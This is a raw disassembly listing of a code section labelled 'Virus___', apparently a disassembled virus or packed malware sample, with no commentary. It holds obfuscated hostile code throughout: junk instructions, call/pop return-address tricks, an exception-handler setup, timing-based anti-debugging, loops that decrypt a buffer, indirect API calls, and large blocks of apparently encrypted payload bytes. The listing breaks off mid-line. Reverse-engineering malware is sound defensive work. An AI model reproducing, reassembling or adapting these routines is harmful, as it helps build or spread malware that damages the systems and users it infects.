dd 0E8h, 0ED815D00h, 7201D87h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 2DC35343h, 0A384EC47h, 9D09BF49h dd 71B28D9h, 16418529h, 858D071Bh, 71E9202h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F7C35646h, 84CFA2ADh dd 68B0F60h, 81000000h, 0D3B6DBF3h, 0F5858B4Ah, 61071B2Ah dd 0D890F90h, 0E9000000h, 8, 13389AC3h, 0FE193505h, 0F525050h dd 8Dh, 0E9310F00h, 0Dh, 0D7605E4Ah, 490F63B1h, 7674E763h dd 90585A41h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0ADC35040h, 0C37E2B44h, 38351AD7h, 35FF6434h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_58CFCB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CFCB proc near ; CODE XREF: Virus___:0058CFC3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_58CFCB endp ; --------------------------------------------------------------------------- db 33h ; --------------------------------------------------------------------------- mov large fs:0, esp push ecx jmp loc_58CFEF ; --------------------------------------------------------------------------- db 0A2h, 0EBh, 5Bh db 5Ah, 48h, 0D8h ; --------------------------------------------------------------------------- loc_58CFEF: ; CODE XREF: Virus___:0058CFE4j pop edi inc dword ptr [ebp+71B264Dh] jmp loc_58D00B ; --------------------------------------------------------------------------- db 47h dd 6919466Ah, 0D288DC09h, 0D69A19C9h db 0B2h, 0E3h, 0F4h ; --------------------------------------------------------------------------- loc_58D00B: ; CODE XREF: Virus___:0058CFF6j ; Virus___:loc_58DD38j push 0FFFFFFFFh push 0 push ebx call sub_58D018 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D018 proc near ; CODE XREF: Virus___:0058D010p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_58D018 endp ; --------------------------------------------------------------------------- dd 0A5B3D6FDh, 6BE8AED3h, 0D8BF0F1Bh, 32A5BD89h, 5E8071Bh dd 1F000000h, 0E53226E6h, 0FF5FDE8Bh, 1B33E5B5h, 79F78107h dd 0FF313AFCh, 1B2F4595h, 11EE907h, 0EF810000h, 3436C298h dd 7E800B0h, 0A5000000h, 0D457FBACh, 7E85DCDh, 0AF000000h dd 700196C3h, 0FE8A8D36h, 70E65F5Bh, 816671E4h, 8934DDD7h dd 1B08958Dh, 0F613C07h, 0E383h, 840F00h, 0F000000h, 6BAC8B6h dd 89000000h, 1B0D3DB5h, 60C18B07h, 0BE9h, 0DE8CC600h dd 0B718EAC0h, 38C76BE4h, 61FABF0Fh, 8B04E8C1h, 1B30ED9Dh dd 0E2F76607h, 5DB531h, 0C82B071Bh, 358DBD01h, 0D18B071Bh dd 98C78166h, 92E95Eh, 8D090000h, 71B287Dh, 554C858Bh dd 95894947h, 71B2E69h, 6607C083h, 0C083DF8Bh, 0FFA8B00h dd 685h, 93E78100h, 3B0EF59Ah, 25830FD0h, 8B000000h, 1B32E1BDh dd 56E907h, 95890000h, 71B215Dh, 6800F60h, 89000000h, 1B26898Dh dd 0E9953107h, 61071B24h, 0FFFF8D8Bh, 0B589FFFFh, 71B21B1h dd 0F01E183h, 2784h, 81666000h, 0B92A01DEh, 2511D196h dd 0FFA58361h, 0FEFFFFFFh, 20DDBD8Bh, 9589071Bh, 4947554Ch dd 0E92DF380h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+71F9B60h] push 0 push ecx call sub_58D18D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D18D proc near ; CODE XREF: Virus___:0058D185p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_58D18D endp ; --------------------------------------------------------------------------- wait mov ah, 0B2h mov ecx, eax fistp dword ptr [ecx] pusha add al, 0CFh and ecx, 1585445Bh popa mov edi, 594470Fh push 0 push 0 push edi call sub_58D1C1 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D1C1 proc near ; CODE XREF: Virus___:0058D1B9p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_58D1C1 endp ; --------------------------------------------------------------------------- db 7Fh, 0F2h, 89h ; --------------------------------------------------------------------------- xchg eax, ebp mov ds:95FF071Bh, eax mov [edx], edx sbb eax, [edi] push 0 push ecx call sub_58D1EA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D1EA proc near ; CODE XREF: Virus___:0058D1E2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_58D1EA endp ; --------------------------------------------------------------------------- inc esi mov eax, ds:8153ED86h push ebp push 0FFFFFF8Ch movsx ebx, ax mov [ebp+71B1B05h], eax mov ecx, 0EC1h sub [ebp+71B2875h], esi mov edi, [ebp+71B2891h] and ecx, 0FFFFFFFCh movzx edi, bx cld mov [ebp+71B2271h], eax mov eax, 0 mov ebx, 20672892h mov edx, 0 push 0 push edi call sub_58D244 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D244 proc near ; CODE XREF: Virus___:0058D23Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_58D244 endp ; --------------------------------------------------------------------------- xchg eax, edi stosd xor bl, 0D2h jnb $+6 loc_58D25F: ; CODE XREF: Virus___:0058D269j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_58D25F push 0 push eax call sub_58D276 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D276 proc near ; CODE XREF: Virus___:0058D26Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_58D276 endp ; --------------------------------------------------------------------------- mov dword ptr [ecx+201C4DD3h], 0B59D8B48h das sbb eax, [edi] mov [ebp+71B2639h], ebx or eax, 88h push 0 push ecx call sub_58D2A9 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D2A9 proc near ; CODE XREF: Virus___:0058D2A1p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_58D2A9 endp ; --------------------------------------------------------------------------- call dword ptr [edx+esi*2-6A76C57Eh] jno short near ptr loc_58D2C7+4 sbb eax, [edi] movsx edi, ax loc_58D2C7: ; CODE XREF: Virus___:0058D2C0j mov edx, [ebp+71B29B5h] mov edi, [ebp+71B0311h] mov ecx, [ebp+71B02F5h] loc_58D2D9: ; CODE XREF: Virus___:0058D2F4j push 0 push edi call sub_58D2E4 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D2E4 proc near ; CODE XREF: Virus___:0058D2DCp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_58D2E4 endp ; --------------------------------------------------------------------------- jz short loc_58D2D9 setalc mov [ebp+71B08B5h], edi push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax push 0 push edi call sub_58D31A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D31A proc near ; CODE XREF: Virus___:0058D312p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_58D31A endp ; --------------------------------------------------------------------------- fmul dword ptr [ebx+1B27259Dh] pop es mov edi, edx cmp dword ptr [ebp+71B2165h], 0 jz loc_58D38C xor di, 0EA4Ch mov eax, 0 sbb bx, 0E80Dh lea ecx, [ebp+71B4F89h] mov ebx, [ebp+71B0CF5h] jmp ecx ; --------------------------------------------------------------------------- push 0 push eax call sub_58D368 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D368 proc near ; CODE XREF: Virus___:0058D360p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_58D368 endp ; --------------------------------------------------------------------------- dd 2A0F23Dh, 8F0F11C2h, 8, 2870Fh, 5B560000h ; --------------------------------------------------------------------------- loc_58D38C: ; CODE XREF: Virus___:0058D33Aj cmp dword ptr [ebp+71B18CDh], 0 jz loc_58D8EB push 0 push edx call sub_58D3A4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D3A4 proc near ; CODE XREF: Virus___:0058D39Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_58D3A4 endp ; --------------------------------------------------------------------------- mov ebx, 0B757A4CCh cmp dword ptr [ebp+71B18CDh], 1 jz loc_58D906 mov edi, [ebp+71B00A5h] cmp dword ptr [ebp+71B18CDh], 3 jbe loc_58D8D0 push 0 push edi call sub_58D3E4 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D3E4 proc near ; CODE XREF: Virus___:0058D3DCp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_58D3E4 endp ; --------------------------------------------------------------------------- test dword ptr [edi+1D4981FFh], 60235CDCh push 0 push ebp call sub_58D409 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D409 proc near ; CODE XREF: Virus___:0058D401p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_58D409 endp ; --------------------------------------------------------------------------- loc_58D419: ; CODE XREF: Virus___:0058D41Dj mov bh, 0BDh test al, 0B8h jecxz short loc_58D419 mov ebx, [ebp+71B1525h] mov cx, ds mov ebx, [ebp+71B3009h] mov [ebp+71B2EA9h], edi and cl, 4 push 0 push ebp call sub_58D442 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D442 proc near ; CODE XREF: Virus___:0058D43Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_58D442 endp ; --------------------------------------------------------------------------- dw 0E95Fh ; --------------------------------------------------------------------------- mov bh, 5Bh or cl, cl jz loc_58D623 adc ebx, 5A2C1E14h mov edi, 1C0AB000h mov eax, [ebp+71B30E5h] push 0 push ecx call sub_58D47A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D47A proc near ; CODE XREF: Virus___:0058D472p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_58D47A endp ; --------------------------------------------------------------------------- push ebp rcl byte ptr [ecx-316FA28Eh], 1 mov ebx, 9D8BD2F0h icebp xor ebx, [ebx] pop es xor eax, [ebp+71B3055h] jmp loc_58D4B2 ; --------------------------------------------------------------------------- db 1, 82h, 0E7h dd 0DB99C63Dh, 0D1CD00F1h ; --------------------------------------------------------------------------- mov ss, dx loc_58D4B2: ; CODE XREF: Virus___:0058D4A0j jmp loc_58D4C3 ; --------------------------------------------------------------------------- db 0DEh dd 6D50AA59h, 85E439BCh db 21h, 0B9h, 40h ; --------------------------------------------------------------------------- loc_58D4C3: ; CODE XREF: Virus___:loc_58D4B2j nop mov di, dx push eax pusha push eax push edx mov dx, 6606h rdtsc pop edx pop eax call sub_58D4EB dec edi retn 411Ch ; --------------------------------------------------------------------------- dd 5482FC27h, 74C7E73Ch, 0DEE3FC96h db 2Dh, 51h, 0BCh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_58D4EB proc near ; CODE XREF: Virus___:0058D4D3p jmp sub_58D4F8 sub_58D4EB endp ; --------------------------------------------------------------------------- or al, 0ABh jz short near ptr loc_58D55C+2 cmc retn 463Ah ; =============== S U B R O U T I N E ======================================= sub_58D4F8 proc near ; CODE XREF: sub_58D4EBj pop edi popa nop push 0 push ebx call sub_58D506 and [ebx-3Dh], bl sub_58D4F8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_58D506 proc near ; CODE XREF: sub_58D4F8+6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_58D506 endp ; --------------------------------------------------------------------------- dw 7C03h dd 3C7CC2EFh, 8C63404Fh, 188BEF81h, 6A482Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 51C35545h, 19BB803Dh dd 0E82F75BDh, 4, 1F03FFh, 0C47642BFh, 870F502Ah ; --------------------------------------------------------------------------- loc_58D55C: ; CODE XREF: Virus___:0058D4F2j add eax, 0BB000000h mov ax, 0B5h mov eax, [esp+4] js loc_58D58D ja loc_58D58D jmp loc_58D58D ; --------------------------------------------------------------------------- push edi mov eax, ds:0B81B1E5h or esi, ebx cmp esi, [ebx-2709A008h] cmp eax, 6E11F81h loc_58D58D: ; CODE XREF: Virus___:0058D569j ; Virus___:0058D56Fj ... mov eax, [eax] mov bh, 0B9h mov [esp+4], eax mov ebx, 8D15121h pop eax push 0 push ecx call sub_58D5A6 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D5A6 proc near ; CODE XREF: Virus___:0058D59Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_58D5A6 endp ; --------------------------------------------------------------------------- push es sar byte ptr [eax+2AADBD8Bh], 1 sbb eax, [edi] call dword ptr [ebp+71B04E9h] push 0 push eax call sub_58D5D0 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D5D0 proc near ; CODE XREF: Virus___:0058D5C8p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_58D5D0 endp ; --------------------------------------------------------------------------- mov ch, 0F8h mov [ebp+71EABC8h], eax mov ebx, 39F5D549h jmp loc_58D834 ; --------------------------------------------------------------------------- push 0 push edi call sub_58D5FD and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D5FD proc near ; CODE XREF: Virus___:0058D5F5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_58D5FD endp ; --------------------------------------------------------------------------- db 0Bh, 43h, 9Dh dd 0D9B589EFh, 0F071B29h, 688h, 99BD8B00h ; --------------------------------------------------------------------------- adc al, 1Bh pop es loc_58D623: ; CODE XREF: Virus___:0058D458j mov eax, [ebp+71EABC0h] push 0 push edx call sub_58D634 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D634 proc near ; CODE XREF: Virus___:0058D62Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_58D634 endp ; --------------------------------------------------------------------------- pop ebx push esi retn 471Dh ; --------------------------------------------------------------------------- pushf and ebx, [ebp+71B1485h] pusha mov edx, [ebp+71B2659h] mov cx, di popa mov dword ptr [eax], 18h xor edi, [ebp+71B1EC1h] mov esi, [ebp+71EABC4h] mov edi, [ebp+71B15EDh] mov eax, [ebp+71B0149h] push 0 push ecx call sub_58D684 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D684 proc near ; CODE XREF: Virus___:0058D67Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_58D684 endp ; --------------------------------------------------------------------------- dd 94390CE9h, 6A068984h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0D5E9C350h, 0D9901ED3h dd 202D9D29h, 0B589071Bh, 71B18A1h, 30E5858Bh, 6A071Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0B3B56C3h, 6268088Bh, 46893794h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 866EEEC8h dd 1ECCB5ECh, 0BF0FCF5Bh, 525050FAh, 8E9h, 3CEA800h, 71A0D7D9h dd 8B310FEDh, 89585AFBh, 6A2434h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0CE5A09C3h, 0D3483B1Dh dd 0AD9D2B03h, 81071B2Eh, 729A2FDBh, 0C0B5FF27h, 8B071EABh dd 316F68F9h, 8A0FDF29h, 8, 2830Fh, 61600000h, 90240481h dd 6A20F5D2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0FF97C351h, 4EE29511h, 1881CC86h dd 2EC19D89h, 858D071Bh, 71EABC8h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 5FC35646h, 5CC9EF29h, 35BD899Eh dd 90071B04h, 6E8h, 79867500h, 604C3257h, 0AE9h, 35C98600h dd 3E859BB5h, 5767AB1Dh, 505F6158h, 28E0F60h, 56000000h dd 0E890615Fh, 0Dh, 8D51ECA2h, 0BEBFA67Fh, 281957E6h, 0BE9E2h dd 3B130000h, 0CFD44996h, 0BC564D06h, 95FF5F58h, 71B04E9h ; --------------------------------------------------------------------------- loc_58D834: ; CODE XREF: Virus___:0058D5EDj popa push 0 push edx call sub_58D840 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D840 proc near ; CODE XREF: Virus___:0058D838p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_58D840 endp ; --------------------------------------------------------------------------- dd 1EB341F0h, 0B9BD8BF0h, 0C7071B1Eh, 1B18CD85h, 307h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 3689C167h, 0FE8B0E64h, 0ABC8BD83h, 0F00071Eh dd 3B84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0CA0ED7C7h, 0E2F4BFF2h, 2CE91DAEh dd 0F000000h, 0B8Ah, 6E900h, 0B4FC0000h, 7D067F2Dh ; --------------------------------------------------------------------------- loc_58D8D0: ; CODE XREF: Virus___:0058D3D3j ; Virus___:0058D8E7j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_58D8D0 jmp short loc_58D921 ; --------------------------------------------------------------------------- loc_58D8EB: ; CODE XREF: Virus___:0058D393j ; Virus___:0058D902j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_58D8EB jmp short loc_58D921 ; --------------------------------------------------------------------------- loc_58D906: ; CODE XREF: Virus___:0058D3C0j ; Virus___:0058D91Dj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_58D906 jmp short $+2 loc_58D921: ; CODE XREF: Virus___:0058D8E9j ; Virus___:0058D904j mov eax, eax jnb loc_58D931 push esi or [ebp+71B29F1h], esi pop ebx loc_58D931: ; CODE XREF: Virus___:0058D923j pusha mov [ebp+71B34E5h], esi mov [ebp+71B21C1h], edi popa cmp dword ptr [ebp+71B18CDh], 3 jnz loc_58DD38 push 0 push ecx call sub_58D957 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D957 proc near ; CODE XREF: Virus___:0058D94Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_58D957 endp ; --------------------------------------------------------------------------- movsd mov ah, [eax] pop eax test [edi-7419C86Fh], cl popf popf adc ebx, [ebx] pop es cmp dword ptr [ebp+71EABC8h], 0 jz loc_58DD38 push 0 loc_58D985: ; CODE XREF: Virus___:0058D99Ej push esi call sub_58D98E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D98E proc near ; CODE XREF: Virus___:0058D986p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_58D98E endp ; --------------------------------------------------------------------------- ja short loc_58D985 aaa fimul dword ptr [ebx+1B281DBDh] pop es push dword ptr [ebp+71EABC8h] mov di, 69E1h pusha or bx, 244Bh mov si, di popa call dword ptr [ebp+71B09A5h] push 0 push esi call sub_58D9CD and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D9CD proc near ; CODE XREF: Virus___:0058D9C5p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_58D9CD endp ; --------------------------------------------------------------------------- db 0Eh, 62h, 8Bh ; --------------------------------------------------------------------------- mov ebp, 71B2739h mov esi, [ebp+71EABBCh] push 0 push edx call sub_58D9F6 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D9F6 proc near ; CODE XREF: Virus___:0058D9EEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_58D9F6 endp ; --------------------------------------------------------------------------- dw 4F7Ah ; --------------------------------------------------------------------------- push ds mov [ebp+71B0355h], edx mov dword ptr [esi], 10001h add [ebp+71B32A5h], edi xchg eax, esi mov bl, 37h push eax mov bl, dl xchg eax, esi mov di, 9915h push dword ptr [ebp+71EABC8h] mov edi, [ebp+71B05C9h] call dword ptr [ebp+71B3561h] jnb loc_58DA44 js $+6 loc_58DA44: ; CODE XREF: Virus___:0058DA38j mov esi, [ebp+71EABBCh] push 0 push ebp call sub_58DA55 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DA55 proc near ; CODE XREF: Virus___:0058DA4Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_58DA55 endp ; --------------------------------------------------------------------------- db 5Bh, 7Dh, 0CBh ; --------------------------------------------------------------------------- xor edi, [edx] jmp loc_58DA79 ; --------------------------------------------------------------------------- db 3Eh dd 0EE0B307Dh, 0E4672A0Fh db 1Bh ; --------------------------------------------------------------------------- loc_58DA79: ; CODE XREF: Virus___:0058DA6Aj mov eax, [ebp+71B0411h] push 0 push esi call sub_58DA8A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DA8A proc near ; CODE XREF: Virus___:0058DA82p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_58DA8A endp ; --------------------------------------------------------------------------- jno short $+2 mov edi, [ebp+71B31C1h] mov edi, 7D3AAE9Eh mov [esi+0C4h], eax mov edx, [ebp+71B29B5h] movzx ebx, bx add edx, 4 push 0 push esi call sub_58DAC4 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DAC4 proc near ; CODE XREF: Virus___:0058DABCp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_58DAC4 endp ; --------------------------------------------------------------------------- mov edx, [edi-76F4BBF3h] push eax and [edx-67A7222h], cl mov edi, 6A071Eh push edi call sub_58DAEF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DAEF proc near ; CODE XREF: Virus___:0058DAE7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_58DAEF endp ; --------------------------------------------------------------------------- add eax, 1731A2C7h adc bh, [edi+3652456Bh] pusha mov [ebp+71B0669h], ecx mov edi, [ebp+71B2845h] popa mov [ebp+71B0D85h], ebx mov [esi+0B8h], eax push 0 push ecx call sub_58DB2F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DB2F proc near ; CODE XREF: Virus___:0058DB27p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_58DB2F endp ; --------------------------------------------------------------------------- fnstsw word ptr ds:0E3C92CB4h xchg eax, ebp mov bh, 0BFh mov bl, 28h push 0 push 0 push esi call sub_58DB57 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DB57 proc near ; CODE XREF: Virus___:0058DB4Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_58DB57 endp ; --------------------------------------------------------------------------- db 79h dd 0F92DB6B3h, 0B95DA55Dh, 6820Fh, 810F0000h, 0 ; --------------------------------------------------------------------------- push dword ptr [ebp+71EABC8h] call dword ptr [ebp+71B09DDh] push 0 push esi call sub_58DB93 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DB93 proc near ; CODE XREF: Virus___:0058DB8Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_58DB93 endp ; --------------------------------------------------------------------------- db 31h dd 8B66DB2Fh, 13E850DEh, 17000000h, 507A1729h, 3FA587DDh dd 426C8F29h, 0CCC53EFDh, 12E9710Eh, 9C000000h, 0CA7726A5h dd 24848F31h, 0F5A9F29Ch, 1C03E34Fh, 34895F70h, 0CF816624h dd 0B5FFA7F3h, 71EABC8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 72C35747h, 16859589h, 95FF071Bh, 71B0341h dd 83F9B70Fh, 1B2431BDh, 840F0007h, 4Dh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 19h, 0DAC35646h, 0F7D619DDh dd 0A1BF50CBh, 890C0F2Fh, 6A2434h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0BF52BBC3h, 6BB7503Ah dd 0C8B5FF5Bh, 89071EABh, 1B20ED9Dh, 0A595FF07h, 89071B18h dd 1B178985h, 0C8B5FF07h, 0E9071EABh, 12h, 0ABFD2AEh, 95F9B503h dd 1A752DBAh, 6310F14Bh, 95FFAADCh, 71B293Dh, 68B0Fh, 9D8B0000h dd 71B212Dh, 8E9h, 9A9D2400h, 4F576C92h, 0F1BD83B5h, 2071B28h dd 3B840Fh, 95890000h, 71B2985h, 7D858Bh, 6A071Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 89E758C3h, 1B18E1BDh, 759D8907h, 0C6071B06h, 0BF0F0000h dd 9185C7FAh, 71B09h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0C7A1C356h, 76FCDB5Eh dd 304CD9h ; --------------------------------------------------------------------------- loc_58DD38: ; CODE XREF: Virus___:0058D946j ; Virus___:0058D97Dj jmp loc_58D00B ; --------------------------------------------------------------------------- mov [ebp+71B1949h], edx mov edi, [ebp+71B05ADh] mov eax, ecx push 0 push ecx call sub_58DD56 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58DD56 proc near ; CODE XREF: Virus___:0058DD4Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_58DD56 endp ; --------------------------------------------------------------------------- dw 0D3EFh dd 9E8F8h, 0B1850000h, 0E23BFFA1h, 2B5A4984h, 1B08E59Dh dd 0CE85A07h, 0A0000000h, 0A3565A01h, 0F52EF7E3h, 0F9DA3AAEh dd 8FC2815Bh, 8900006Ah, 1B24A5B5h, 0E043B807h, 0E88156D0h dd 56D0C5CEh, 359D2952h, 5F071B2Ah, 0B966328Bh, 0EE81E12Ah dd 730619B4h, 14799529h, 0F681071Bh, 6C68F82Dh, 248D8D89h dd 0F681071Bh, 4803DF7Fh, 0DE9h, 2399BE00h, 737B769Eh dd 0C7BFC543h, 32896EDCh, 14E9h, 10A43700h, 0A52D6A7Ch dd 6AFAD8ADh, 978AD21Bh, 0EAA1C2F2h, 1EA836Fh, 0E84A4A4Ah dd 14h, 2999945Ch, 0B60D4991h, 0F0F88E97h, 7EEB9789h, 77EB7E83h dd 850F485Bh, 0FFFFFF88h, 30E19DBFh, 61419C78h, 87C0569Dh dd 0A1410697h, 0E84D441Ah, 761A2724h, 85E78596h, 4C688B1Ch dd 15910977h, 71411B4Eh, 0E85D0697h, 71410674h, 71416E97h dd 46990697h, 0A1412B59h, 0F05B614Eh, 6A96D38Fh, 7140F414h dd 41AA1197h, 0F111058Bh, 717BB691h, 67BD1197h, 4C410697h dd 7140F697h, 9AF23F40h, 0E9098D4Eh, 7623AB14h, 5D810596h dd 7391999Eh, 711C7B20h, 41C609B2h, 58CC8FE7h, 7439FD81h dd 7141064Fh, 6E44B622h, 14CC8F68h, 6E39FD9Dh, 4C80EE7h dd 72562BA5h, 713C91B3h, 0EE410697h, 7EE80A53h, 40410697h dd 811CD222h, 71B1AF18h, 81410697h, 5E980697h, 0DCBE4557h dd 72563004h, 55BD1197h, 0B3410697h, 76550B14h, 0BF68C996h dd 9B0D7CF6h, 7622F704h, 17BC9396h, 9A3A00CDh, 9A40EC67h dd 24BC8F67h, 0E639FD87h, 18C4936Ah, 9D3A267Dh, 3BEA8CEAh dd 48AC9320h, 0ECC809B2h, 72561AD0h, 6FEC8B56h, 0F1509B2h dd 71670697h, 713E6EE7h, 39210697h, 35C7BE5Ah, 35C00A73h dd 71560A73h, 41810697h, 4545105Ah, 0B9251BE5h, 71446E7Ah dd 33470697h, 0C501B110h, 9CFE72C3h, 